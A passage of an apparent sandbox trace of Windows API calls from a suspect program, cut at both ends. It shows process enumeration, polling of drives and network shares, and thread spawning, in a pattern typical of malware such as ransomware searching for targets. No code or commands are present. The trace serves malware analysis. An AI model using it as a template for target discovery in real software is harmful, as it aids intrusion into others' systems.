lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.813] lstrlenW (lpString="svchost.exe") returned 11 [0123.813] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0123.814] lstrlenW (lpString="taskhostw.exe") returned 13 [0123.814] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0123.814] lstrlenW (lpString="UsoClient.exe") returned 13 [0123.814] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0123.822] lstrlenW (lpString="taskhostw.exe") returned 13 [0123.822] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0123.823] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0123.823] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0123.824] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0123.824] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0123.824] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0123.825] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.825] lstrlenW (lpString="conhost.exe") returned 11 [0123.825] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.826] lstrlenW (lpString="conhost.exe") returned 11 [0123.826] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.859] lstrlenW (lpString="svchost.exe") returned 11 [0123.860] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0123.861] lstrlenW (lpString="finbbp.exe") returned 10 [0123.861] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0123.862] lstrlenW (lpString="dllhost.exe") returned 11 [0123.862] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.863] lstrlenW (lpString="cmd.exe") returned 7 [0123.863] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.864] lstrlenW (lpString="conhost.exe") returned 11 [0123.864] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.864] lstrlenW (lpString="sppsvc.exe") returned 10 [0123.865] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0123.865] lstrlenW (lpString="mode.com") returned 8 [0123.865] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0123.866] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0123.866] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0 [0123.867] CloseHandle (hObject=0x34c) returned 1 [0123.867] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0xe6c [0091.476] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0091.476] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f52d0 | out: hHeap=0x4b0000) returned 1 Thread: id = 6 os_tid = 0x6d0 [0091.479] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50aa60 [0091.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50aa60, Size=0x20) returned 0x4ee868 [0091.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ee868, Size=0x40) returned 0x4ca108 [0091.479] GetLogicalDrives () returned 0x4 [0091.479] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x52af78 [0091.479] GetComputerNameW (in: lpBuffer=0x52af7c, nSize=0x26dff64 | out: lpBuffer="NQDPDE", nSize=0x26dff64) returned 1 [0091.480] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x50dd40 [0091.480] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26dff34 | out: lphEnum=0x26dff34*=0x4c5570) returned 0x0 [0091.481] WNetEnumResourceW (in: hEnum=0x4c5570, lpcCount=0x26dff30, lpBuffer=0x50dd40, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x50dd40, lpBufferSize=0x26dff38) returned 0x103 [0091.484] WNetCloseEnum (hEnum=0x4c5570) returned 0x0 [0091.484] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26dff34 | out: lphEnum=0x26dff34*=0x3e50540) returned 0x0 [0093.575] WNetEnumResourceW (in: hEnum=0x3e50540, lpcCount=0x26dff30, lpBuffer=0x50dd40, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x50dd40, lpBufferSize=0x26dff38) returned 0x0 [0093.575] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x38b72c0 [0093.575] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x50dd40, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x4c5710) returned 0x0 [0093.584] WNetEnumResourceW (in: hEnum=0x4c5710, lpcCount=0x26dff04, lpBuffer=0x38b72c0, lpBufferSize=0x26dff0c | out: lpcCount=0x26dff04, lpBuffer=0x38b72c0, lpBufferSize=0x26dff0c) returned 0x103 [0093.584] WNetCloseEnum (hEnum=0x4c5710) returned 0x0 [0093.584] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x38b2298 [0093.584] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x50dd60, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x0) returned 0x4b8 [0114.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x3f22f40 [0114.210] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x50dd80, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x0) returned 0x4c6 [0114.686] WNetEnumResourceW (in: hEnum=0x3e50540, lpcCount=0x26dff30, lpBuffer=0x50dd40, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x50dd40, lpBufferSize=0x26dff38) returned 0x103 [0114.686] WNetCloseEnum (hEnum=0x3e50540) returned 0x0 [0114.687] GetLogicalDrives () returned 0x4 [0114.687] Sleep (dwMilliseconds=0x64) [0115.367] GetLogicalDrives () returned 0x4 [0115.368] Sleep (dwMilliseconds=0x64) [0116.558] GetLogicalDrives () returned 0x4 [0116.573] Sleep (dwMilliseconds=0x64) [0117.268] GetLogicalDrives () returned 0x4 [0117.268] Sleep (dwMilliseconds=0x64) [0117.779] GetLogicalDrives () returned 0x4 [0117.779] Sleep (dwMilliseconds=0x64) [0118.090] GetLogicalDrives () returned 0x4 [0118.090] Sleep (dwMilliseconds=0x64) [0119.577] GetLogicalDrives () returned 0x4 [0119.577] Sleep (dwMilliseconds=0x64) [0120.216] GetLogicalDrives () returned 0x4 [0120.217] Sleep (dwMilliseconds=0x64) [0120.883] GetLogicalDrives () returned 0x4 [0120.883] Sleep (dwMilliseconds=0x64) [0121.350] GetLogicalDrives () returned 0x4 [0121.350] Sleep (dwMilliseconds=0x64) [0121.984] GetLogicalDrives () returned 0x4 [0121.984] Sleep (dwMilliseconds=0x64) [0122.282] GetLogicalDrives () returned 0x4 [0122.282] Sleep (dwMilliseconds=0x64) [0122.871] GetLogicalDrives () returned 0x4 [0122.883] Sleep (dwMilliseconds=0x64) [0123.212] GetLogicalDrives () returned 0x4 [0123.212] Sleep (dwMilliseconds=0x64) [0123.683] GetLogicalDrives () returned 0x4 [0123.683] Sleep (dwMilliseconds=0x64) [0123.859] GetLogicalDrives () returned 0x4 [0123.859] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x1390 [0092.955] GetTickCount () returned 0x11586a1 [0092.955] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4c6318 [0092.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c6318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0092.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c6318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0092.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c6318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0092.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c6318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0092.958] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50a8f8 [0092.958] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50a8f8, Size=0x20) returned 0x4ee818 [0092.958] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50a8f8 [0092.958] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50a8f8, Size=0x20) returned 0x4eebd8 [0092.958] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0092.958] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0092.958] Wow64DisableWow64FsRedirection (in: OldValue=0x281ff7c | out: OldValue=0x281ff7c*=0x0) returned 1 [0092.959] lstrlenW (lpString="kernel32.dll") returned 12 [0092.959] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ee818 | out: hHeap=0x4b0000) returned 1 [0092.959] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0092.959] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0092.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4f7700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0092.959] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0093.274] GetTickCount () returned 0x11587e9 [0093.275] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0093.920] GetTickCount () returned 0x1158a79 [0093.920] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0094.357] GetTickCount () returned 0x1158c3f [0094.384] GetTickCount () returned 0x1158c3f [0094.385] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0096.064] GetTickCount () returned 0x11592d6 [0096.064] GetTickCount () returned 0x11592d6 [0096.065] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0096.640] GetTickCount () returned 0x1159509 [0096.640] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0097.105] GetTickCount () returned 0x11596ed [0097.118] GetTickCount () returned 0x11596ed [0097.118] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0097.379] GetTickCount () returned 0x11597f7 [0097.379] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0099.081] GetTickCount () returned 0x1159e9e [0099.081] GetTickCount () returned 0x1159e9e [0099.081] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0099.869] GetTickCount () returned 0x115a1ab [0099.869] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0100.195] GetTickCount () returned 0x115a2e3 [0100.195] GetTickCount () returned 0x115a2e3 [0100.195] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0100.596] GetTickCount () returned 0x115a47a [0100.596] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0100.975] GetTickCount () returned 0x115a5f1 [0100.976] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0101.523] GetTickCount () returned 0x115a814 [0101.523] GetTickCount () returned 0x115a814 [0101.523] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0102.590] GetTickCount () returned 0x115ac4a [0102.590] GetTickCount () returned 0x115ac4a [0102.590] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0103.347] GetTickCount () returned 0x115af38 [0103.347] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0104.021] GetTickCount () returned 0x115b1d8 [0104.021] GetTickCount () returned 0x115b1d8 [0104.021] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0104.398] GetTickCount () returned 0x115b35e [0104.398] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0104.810] GetTickCount () returned 0x115b4f4 [0104.810] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0105.075] GetTickCount () returned 0x115b60e [0105.075] GetTickCount () returned 0x115b60e [0105.075] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0105.411] GetTickCount () returned 0x115b756 [0105.411] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0105.735] GetTickCount () returned 0x115b88e [0105.735] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0106.115] GetTickCount () returned 0x115ba15 [0106.115] GetTickCount () returned 0x115ba15 [0106.115] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0106.580] GetTickCount () returned 0x115bbda [0106.580] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0107.591] GetTickCount () returned 0x115bfd2 [0107.591] GetTickCount () returned 0x115bfd2 [0107.591] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0108.112] GetTickCount () returned 0x115c1e5 [0108.112] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0108.486] GetTickCount () returned 0x115c35c [0108.486] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0109.331] GetTickCount () returned 0x115c698 [0109.331] GetTickCount () returned 0x115c698 [0109.331] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0109.845] GetTickCount () returned 0x115c89c [0109.845] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0110.384] GetTickCount () returned 0x115cabf [0110.384] GetTickCount () returned 0x115cabf [0110.384] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0111.085] GetTickCount () returned 0x115cd7e [0111.085] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0112.067] GetTickCount () returned 0x115d146 [0112.067] GetTickCount () returned 0x115d146 [0112.067] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0112.733] GetTickCount () returned 0x115d3e6 [0112.733] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0113.536] GetTickCount () returned 0x115d713 [0113.536] GetTickCount () returned 0x115d713 [0113.536] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0114.353] GetTickCount () returned 0x115da3f [0114.353] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0114.968] GetTickCount () returned 0x115dca1 [0114.968] GetTickCount () returned 0x115dca1 [0114.968] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0115.516] GetTickCount () returned 0x115ded3 [0115.516] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0116.686] GetTickCount () returned 0x115e357 [0116.686] GetTickCount () returned 0x115e357 [0116.686] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0117.271] GetTickCount () returned 0x115e59a [0117.271] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0117.779] GetTickCount () returned 0x115e79d [0117.779] GetTickCount () returned 0x115e79d [0117.779] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0118.091] GetTickCount () returned 0x115e8d6 [0118.091] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0119.577] GetTickCount () returned 0x115eea2 [0119.577] GetTickCount () returned 0x115eea2 [0119.577] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0120.217] GetTickCount () returned 0x115f123 [0120.217] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0120.883] GetTickCount () returned 0x115f3c3 [0120.883] GetTickCount () returned 0x115f3c3 [0120.883] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0121.350] GetTickCount () returned 0x115f597 [0121.350] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0121.984] GetTickCount () returned 0x115f808 [0121.984] GetTickCount () returned 0x115f808 [0121.984] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0122.253] GetTickCount () returned 0x115f922 [0122.253] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0122.869] GetTickCount () returned 0x115fb83 [0122.869] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0123.211] GetTickCount () returned 0x115fcdb [0123.211] GetTickCount () returned 0x115fcdb [0123.211] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0123.683] GetTickCount () returned 0x115feaf [0123.683] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0123.859] GetTickCount () returned 0x115ff5b [0123.859] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x53c [0092.950] GetTickCount () returned 0x11586a1 [0092.950] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4c6288 [0092.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c6288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0092.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c6288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0092.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c6288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0092.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c6288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0092.953] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50a8f8 [0092.953] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50a8f8, Size=0x20) returned 0x4ee818 [0092.953] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50a8f8 [0092.953] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50a8f8, Size=0x20) returned 0x4eebd8 [0092.954] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0092.954] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0092.954] Wow64DisableWow64FsRedirection (in: OldValue=0x259ff7c | out: OldValue=0x259ff7c*=0x0) returned 1 [0092.954] lstrlenW (lpString="kernel32.dll") returned 12 [0092.954] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ee818 | out: hHeap=0x4b0000) returned 1 [0092.954] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0092.954] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0092.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x51af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0092.954] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0093.065] GetTickCount () returned 0x115870e [0093.065] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0093.275] GetTickCount () returned 0x11587e9 [0093.275] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0093.919] GetTickCount () returned 0x1158a79 [0093.920] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0094.385] GetTickCount () returned 0x1158c3f [0094.385] GetTickCount () returned 0x1158c3f [0094.385] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0096.065] GetTickCount () returned 0x11592d6 [0096.065] GetTickCount () returned 0x11592d6 [0096.065] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0096.640] GetTickCount () returned 0x1159509 [0096.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0097.118] GetTickCount () returned 0x11596ed [0097.118] GetTickCount () returned 0x11596ed [0097.118] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0097.379] GetTickCount () returned 0x11597f7 [0097.379] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0099.082] GetTickCount () returned 0x1159e9e [0099.082] GetTickCount () returned 0x1159e9e [0099.082] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0099.870] GetTickCount () returned 0x115a1ab [0099.870] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0100.195] GetTickCount () returned 0x115a2e3 [0100.195] GetTickCount () returned 0x115a2e3 [0100.195] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0100.596] GetTickCount () returned 0x115a47a [0100.596] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0100.976] GetTickCount () returned 0x115a5f1 [0100.976] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0101.523] GetTickCount () returned 0x115a814 [0101.523] GetTickCount () returned 0x115a814 [0101.523] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0102.590] GetTickCount () returned 0x115ac4a [0102.591] GetTickCount () returned 0x115ac4a [0102.591] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0103.347] GetTickCount () returned 0x115af38 [0103.348] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0104.007] GetTickCount () returned 0x115b1d8 [0104.021] GetTickCount () returned 0x115b1d8 [0104.021] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0104.398] GetTickCount () returned 0x115b35e [0104.398] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0104.810] GetTickCount () returned 0x115b4f4 [0104.810] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0105.075] GetTickCount () returned 0x115b60e [0105.075] GetTickCount () returned 0x115b60e [0105.075] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0105.411] GetTickCount () returned 0x115b756 [0105.411] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0105.735] GetTickCount () returned 0x115b88e [0105.735] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0106.109] GetTickCount () returned 0x115ba05 [0106.109] GetTickCount () returned 0x115ba05 [0106.109] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0106.580] GetTickCount () returned 0x115bbda [0106.580] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0107.591] GetTickCount () returned 0x115bfd2 [0107.591] GetTickCount () returned 0x115bfd2 [0107.591] WaitForSingleObject (hHandle=0x29c, 